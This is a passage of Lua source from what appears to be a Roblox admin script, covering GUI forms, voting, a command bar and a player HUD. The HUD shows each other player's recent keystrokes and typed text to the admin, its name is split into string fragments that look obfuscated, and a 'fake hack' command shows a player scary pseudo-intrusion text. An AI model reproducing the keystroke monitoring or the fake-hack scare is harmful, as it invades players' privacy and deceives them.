4561 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4562 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4563 end
4564 end
4565
4566 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4567 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4568
4569 return Text
4570end
4571
4572function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4573 if not Player then return nil end
4574 if not CommandTrigger then return nil end
4575
4576 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4577
4578 local CommandKey = CommandTrigger
4579
4580 if not Commands[CommandKey] then
4581 for CommandNames,_ in pairs(Commands) do
4582 for _,CommandName in pairs(CommandNames) do
4583 if CommandName == CommandKey then
4584 CommandKey = CommandNames
4585 end
4586 end
4587 end
4588 end
4589
4590 local CommandData = Commands[CommandKey]
4591
4592 local BodyText = "No valid command has been entered"
4593 local TitleText = "Error"
4594 local CanExe = false
4595 if CommandData then
4596 if Dialog then
4597 Dialog:Invoke(true)
4598 end
4599 local PlayerRank = RANK:GetRank(Player)
4600 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4601 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4602
4603 TitleText = "Command: "..CommandKey[1]
4604 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4605
4606
4607Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4608
4609
4610Description: ]]..CommandData[2]..[[
4611
4612
4613Arguments: ]]..CommandData[3]..[[
4614
4615
4616Minimum rank needed: ]]..CommandData[4]..[[
4617
4618
4619Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4620
4621
4622Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4623
4624
4625Http Command ]]..STRING:BoolString(CommandData.Http)
4626 end
4627
4628 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4629 if Dialog then
4630 Closed.Event:connect(function() Dialog:Invoke(false) end)
4631 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4632 end
4633end
4634
4635function GUI:CreateHUD(Speaker)
4636 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4637
4638 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4639 if SG then SG:Destroy() end
4640 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4641
4642 local function AddHUD(Player, Char)
4643 if not Char or not Char:FindFirstChild("Head") then return nil end
4644
4645 local Rank = RANK:GetRank(Player)
4646 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4647 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4648 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4649 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4650 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4651 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4652 InfoLabel.Text = "Name: "..Player.Name..[[
4653Rank: ]]..RANK:GetRank(Player)..[[
4654Age: ]]..STRING:FindAge(Player.AccountAge)
4655 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4656 InfoLabel.Text = InfoLabel.Text..[[
4657Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4658 end
4659 if LastKeys[Player.UserId] then
4660 local Keys = ""
4661 local KeyLog = {}
4662 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4663 table.insert(KeyLog, KeyData[1])
4664 if KeyData[2] == 8 then
4665 Keys = string.sub(Keys, 1, #Keys - 1)
4666 elseif KeyData[2] == 13 then
4667 Keys = Keys.." "
4668 else
4669 Keys = Keys..string.char(KeyData[2])
4670 end
4671 end
4672 KeyLabel.Text = table.concat(KeyLog, "\n")
4673 KeyOutput.Text = Keys
4674 end
4675 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4676 end end)()
4677
4678 local CharRev,Removing = nil,nil
4679 CharRev = Player.CharacterRemoving:connect(function()
4680 PlayerHUD:Destroy()
4681 CharRev:disconnect()
4682 Removing:disconnect()
4683 end)
4684 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4685 PlayerHUD:Destroy()
4686 CharRev:disconnect()
4687 Removing:disconnect()
4688 end end)
4689 end
4690
4691 local function ConnectHUD(Player)
4692 if Player ~= Speaker then
4693 if Player.Character then
4694 AddHUD(Player, Player.Character)
4695 end
4696
4697 Player.CharacterAdded:connect(function(Char)
4698 if Speaker then
4699 AddHUD(Player, Char)
4700 else return nil
4701 end
4702 end)
4703 end
4704 end
4705
4706 for _,Player in pairs(Server.Players:GetPlayers()) do
4707 ConnectHUD(Player)
4708 end
4709
4710 Server.Players.PlayerAdded:connect(ConnectHUD)
4711end
4712
4713function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4714 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4715 local Stopped = false
4716
4717 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4718 Frame.Size = UDim2.new(1, 0, 1, -30)
4719 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4720
4721 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4722 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4723 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4724
4725 local function AddLine(Speaker, MessageText, MessageColor)
4726 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4727 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4728 if not MessageColor then MessageColor = GUI:ContrastColor() end
4729 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4730 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4731 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4732 Bounds.Parent = Frame
4733 end
4734
4735 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4736
4737 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4738 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4739 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4740
4741 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4742 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4743
4744 CORE:ExecuteResource("MessagePromptHandler", Frame)
4745
4746 wait(0.1)
4747
4748 if PreAdd then
4749 for Num,Add in pairs(PreAdd) do
4750 AddLine(Add[1], Add[2], Add[3])
4751 end
4752 end
4753
4754 --[[
4755 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4756
4757 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4758 if ChatBox.Text == "Click here or press the '-' key" then
4759 ChatBox.Text = ""
4760 end
4761 end)
4762 ]]
4763
4764 local function FireSendPressed()
4765 local Text = CORE:ReadProperty(RPR, Player, "Text")
4766 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4767 SendPressed:Fire(Text)
4768 FakeCB.Visible = true
4769 ClearCB:InvokeClient(Player)
4770 end
4771 end
4772
4773 Closed.Event:connect(function()
4774 if Stopped == false then
4775 Stopped = true
4776 if SpeakerEvents then SpeakerEvents("Leave") end
4777 end
4778 end)
4779
4780 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4781 EnterPressed.OnServerInvoke = FireSendPressed
4782 AddMessage.OnInvoke = AddLine
4783
4784 if SpeakerEvents then
4785 SpeakerEvents("Join")
4786
4787 coroutine.wrap(function()
4788 repeat wait() until not Frame or not Frame.Parent
4789 if Stopped == false then
4790 Stopped = true
4791 SpeakerEvents("Leave")
4792 end
4793 end)()
4794 end
4795
4796 return SendPressed, AddMessage
4797end
4798
4799function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4800 if tonumber(Time) then ShowFormButtons = false end
4801 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4802 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4803 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4804 local Clicked = nil
4805 local Alive = true
4806
4807 local function ClosePrompt(ButtonName)
4808 Alive = false
4809 Close:Invoke()
4810 Clicked = ButtonName
4811 end
4812
4813 for Num,Select in pairs(Buttons) do
4814 local Name = Select
4815 local Style = "White"
4816 local TextColor3 = Color3.new(0,0,0)
4817 if type(Select) == "table" then
4818 Name = Select[1]
4819 if Select[2] then Style = Select[2] end
4820 if Select[3] then TextColor3 = Select[3] end
4821 elseif type(Select) == "string" then
4822 local Case = string.lower(Select)
4823 if Case == "ok" then
4824 Name = "Ok"
4825 Style = "Primary"
4826 TextColor3 = Color3.new(1,1,1)
4827 elseif Case == "yes" then
4828 Name = "Yes"
4829 Style = "Gray"
4830 TextColor3 = Color3.new(0,1,0)
4831 elseif Case == "no" then
4832 Name = "No"
4833 Style = "Red"
4834 TextColor3 = Color3.new(1,0,0)
4835 end
4836 end
4837
4838 if Style == "None" then Style = "Custom" end
4839 if Style == "Casual" then Style = "RobloxButton" end
4840 if Style == "Red" then Style = "RobloxButtonDefault" end
4841 if Style == "Gray" then Style = "RobloxRoundButton" end
4842 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4843 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4844
4845 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4846 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4847 SOUND:BindButton(Button)
4848 end
4849
4850 if tonumber(Time) then
4851 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4852 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4853 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4854
4855 for i = Time,0,-1 do
4856 for ii = 1,10 do
4857 if Alive == true then
4858 Ticker.Text = i
4859 wait(0.1)
4860 else
4861 break
4862 end
4863 end
4864 end
4865 if Alive == true then
4866 ClosePrompt()
4867 end
4868 end
4869
4870 repeat wait() until Alive == false
4871 return Clicked
4872end
4873
4874function GUI:Vote(Speaker, Players, Text, Time)
4875 if not Players or not Text or #Players <= 0 then return end
4876
4877 local Votes = {}
4878 local Tick = 0
4879
4880 for _,Player in pairs(Players) do
4881 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4882 local CanVote = true
4883 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4884 if CanVote == true then
4885 coroutine.wrap(function()
4886 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4887 if Answer == nil then Answer = "Unknown" end
4888 table.insert(Votes, Answer)
4889 end)()
4890 end
4891 end
4892 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4893 wait(2)
4894 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4895 local Total = #Players
4896 local Yes,No,Unknown = 0,0,0
4897 for _,Vote in pairs(Votes) do
4898 if Vote == "Yes" then Yes = Yes + 1
4899 elseif Vote == "No" then No = No + 1
4900 end
4901 end
4902 Unknown = #Players - #Votes
4903
4904 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4905 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4906 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4907]]..Yes.."/"..Total..[[
4908]]..math.ceil((Yes/Total)*100).."% "
4909 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4910]]..No.."/"..Total..[[
4911]]..math.ceil((No/Total)*100).."% "
4912 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4913]]..Unknown.."/"..Total..[[
4914]]..math.ceil((Unknown/Total)*100).."% "
4915 end
4916end
4917
4918--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4919
4920function GUI:LoadGui(Player, Text, InfoText)
4921 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4922 local Dead = false
4923
4924 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4925 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4926 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4927 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4928 if InfoText then Info.Text = InfoText end
4929
4930 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4931 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4932
4933 CloseGui.OnInvoke = function()
4934 Close:Invoke()
4935 Dead = true
4936 end
4937 AddInfo.OnInvoke = function(AddText)
4938 Info.Text = AddText
4939 end
4940
4941 coroutine.wrap(function()
4942 for i = 0,math.huge,3 do
4943 if Dead == false and Frame then
4944 WaitIcon.Rotation = i
4945 wait()
4946 else
4947 break
4948 end
4949 end
4950 end)()
4951
4952 coroutine.wrap(function()
4953 while Dead == false and Frame do
4954 wait(0.5)
4955 LoadLabel.Text = Text.."."
4956 wait(0.5)
4957 LoadLabel.Text = Text..".."
4958 wait(0.5)
4959 LoadLabel.Text = Text.."..."
4960 wait(0.5)
4961 LoadLabel.Text = Text..".."
4962 wait(0.5)
4963 LoadLabel.Text = Text.."."
4964 wait(0.5)
4965 LoadLabel.Text = Text
4966 end
4967 end)()
4968
4969 wait(1)
4970
4971 return CloseGui, AddInfo
4972end
4973
4974function GUI:FakeHack(Player) coroutine.wrap(function()
4975 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4976 local FakeText = [[
4977>SHELL: BEGIN
4978>RUNCODE:
4979return {
4980 local Hack = {"Account", "Tix", "Robux"};
4981 function Start(Type, Inject, Scan)
4982 if not Inject then Inject = "In-Game" end
4983 return {Type, Inject, Scan}
4984 end
4985 for Exe,Exploit in pairs(Hack) do
4986 local IP = Start("In-Game",Exploit,
4987 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4988 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4989 )
4990 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4991 for i = 1,#Injection[2] do
4992 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4993 end
4994 local PlayerProxy = newproxy(true)
4995 setmetatable(PlayerProxy,Injection[3],{
4996 __index = function(StealData, ...) local Data = unpack(...)
4997 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4998 end;
4999 })
5000 end
5001 Log("HACKED HOST: PLAYERNAME")
5002}
5003>HACKED HOST: PLAYERNAME
5004
5005]]
5006 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5007 if SG then SG:Destroy() end
5008 SG = Instance.new("ScreenGui", Player.PlayerGui)
5009 SG.Name = "MML Hack Gui"
5010 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5011 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5012 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5013 for i = 1,#FakeText do
5014 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5015 if math.random(1,5) == 1 then
5016 wait()
5017 end
5018 end
5019 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5020 wait(3)
5021 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5022fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5023 X.Visible = true
5024end)() end
5025
5026function GUI:CommandBar(Player)
5027 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5028
5029 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5030 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5031 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5032 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5033
5034 local _,Rank = RANK:GetRank(Player)
5035 local UsableCommands = {}
5036 for CommandNames,Data in pairs(Commands) do
5037 if not Data.Hidden then
5038 if RANK:ConvertRank(Data[4]) <= Rank then
5039 for _,Command in pairs(CommandNames) do
5040 table.insert(UsableCommands, {Command, Data[3]})
5041 end
5042 end
5043 end
5044 end
5045
5046 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5047
5048 local function ExecuteText()
5049 local Text = CORE:ReadProperty(RPR, Player, "Text")
5050 CORE:Chatted(Text, Player, true)
5051 CommandBox.Text = "Enter a command here"
5052 end
5053
5054 local function AddSuggestion(Text)
5055 if Text == nil then Text = Settings.Prefix end
5056 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5057 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5058 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5059 if Text == Settings.Prefix then
5060 CommandBox.Text = Settings.Prefix
5061 else
5062 CommandBox.Text = Settings.Prefix..Text
5063 end
5064 CORE:ExecuteResource("Focus", CommandBox)
5065 end, true)
5066 end
5067
5068 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5069 if CommandBox.Text == "Enter a command here" then
5070 CommandBox.Text = ""
5071 end
5072 end)
5073
5074 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5075 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5076
5077 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5078 EnterPressed.OnServerInvoke = ExecuteText
5079
5080 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5081 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5082 Suggest:ClearAllChildren()
5083 local Text = CORE:ReadProperty(RPR, Player, "Text")
5084 if Text == "" then
5085 AddSuggestion(Settings.Prefix)
5086 end
5087
5088 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5089 Text = string.sub(Text,#Settings.Prefix+1)
5090 end
5091 for _,Data in pairs(UsableCommands) do
5092 local Command,Args = Data[1],Data[2]
5093 if string.find(string.lower(Command),string.lower(Text)) then
5094 local NewSuggestion = Command
5095 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5096 AddSuggestion(NewSuggestion)
5097 end
5098 end
5099
5100 end end)
5101end
5102
5103function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5104 if not Player or not AllSeconds then return nil end
5105 AllSeconds = tonumber(AllSeconds)
5106 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5107 AllSeconds = math.floor(AllSeconds)
5108 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5109 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5110 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5111 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5112 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
